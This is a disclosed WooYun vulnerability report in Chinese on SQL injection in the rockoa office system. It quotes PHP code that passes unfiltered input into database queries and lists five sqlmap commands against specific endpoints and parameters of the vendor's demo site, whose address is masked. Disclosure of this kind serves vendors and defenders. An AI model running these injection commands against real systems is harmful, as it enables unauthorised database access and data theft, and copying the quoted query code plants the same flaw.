当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0158415

漏洞标题:rockoa打包注入官网demo可shell

相关厂商:www.rockoa.com

漏洞作者: range

提交时间:2015-12-07 13:34

修复时间:2016-01-23 15:16

公开时间:2016-01-23 15:16

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-07: 细节已通知厂商并且等待厂商处理中
2015-12-11: 厂商已经确认,细节仅向厂商公开
2015-12-21: 细节向核心白帽子及相关领域专家公开
2015-12-31: 细节向普通白帽子公开
2016-01-10: 细节向实习白帽子公开
2016-01-23: 细节向公众公开

简要描述:

多处注入

详细说明:

\webrock\taskrun\work\workaction.php:

<?php 
/**
工作任务
*/
class workClassAction extends Action{

public function getlistAjax()
{
$db = m('work');
$dt = $this->post('dt', $this->date);
$uid = $this->post('uid');
$db->addday($dt, $uid);//工作任务
//m('schedule')->addday($dt, $uid);//日程事务
echo 'success';
}
}


直接未过滤就插入数据库了
\webrock\webim\index\indexaction.php:

public function defaultAction()
{
$this->tpltype = 'html';
$uid = $this->jm->gettoken('uid');
$this->adminid = $uid;
$db = m('admin');
$ars = $db->getone("`id`='$uid'", '`name`,`id`,`face`,`ranking`');
if(!$ars)exit('sorry!');
$this->smartydata['ars'] = $ars;
$this->smartydata['aface'] = $this->rock->repempt($ars['face'], 'images/im/user100.png');
}


还有很多,直接证明吧:

漏洞证明:

**.**.**.**是官网demo
直接上sqlmap吧:

sqlmap.py -u "http://**.**.**.**/rock.php?a=fenxi&d=taskrun&m=kaoqin&ajaxbool=true" --data "startdt=12&enddt=12" -p startdt --dbms mysql --risk 3 --level 5
sqlmap.py -u "http://**.**.**.**/rock.php?a=fenximonth&d=taskrun&m=kaoqin&ajaxbool=true&month=21-23" -p month --dbms mysql --level 5 --risk 3
sqlmap.py -u "http://**.**.**.**/rock.php?a=gong&d=taskrun&m=view&ajaxbool=false&id=1" -p id
sqlmap.py -u "http://**.**.**.**/rock.php?a=work&d=taskrun&m=view&ajaxbool=false&id=1" -p id
sqlmap.py -u "http://**.**.**.**/rock.php?a=project&d=taskrun&m=view&ajaxbool=false&id=1" -p id


例如:

QQ截图20151204224820.png


全是这种没有过滤直接扔进数据库的

修复方案:

过滤过滤!!!

版权声明:转载请注明来源 range@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:7

确认时间:2015-12-11 18:08

厂商回复:

CNVD确认所述漏洞情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评价

  1. 2015-12-07 14:05 | 1c3z ( 普通白帽子 | Rank:293 漏洞数:61 | @)!^)

    66666

  2. 2015-12-19 00:42 | range ( 普通白帽子 | Rank:162 漏洞数:36 | 这个人有点懒,没有写个人简介)

    @1c3z 星光你个都比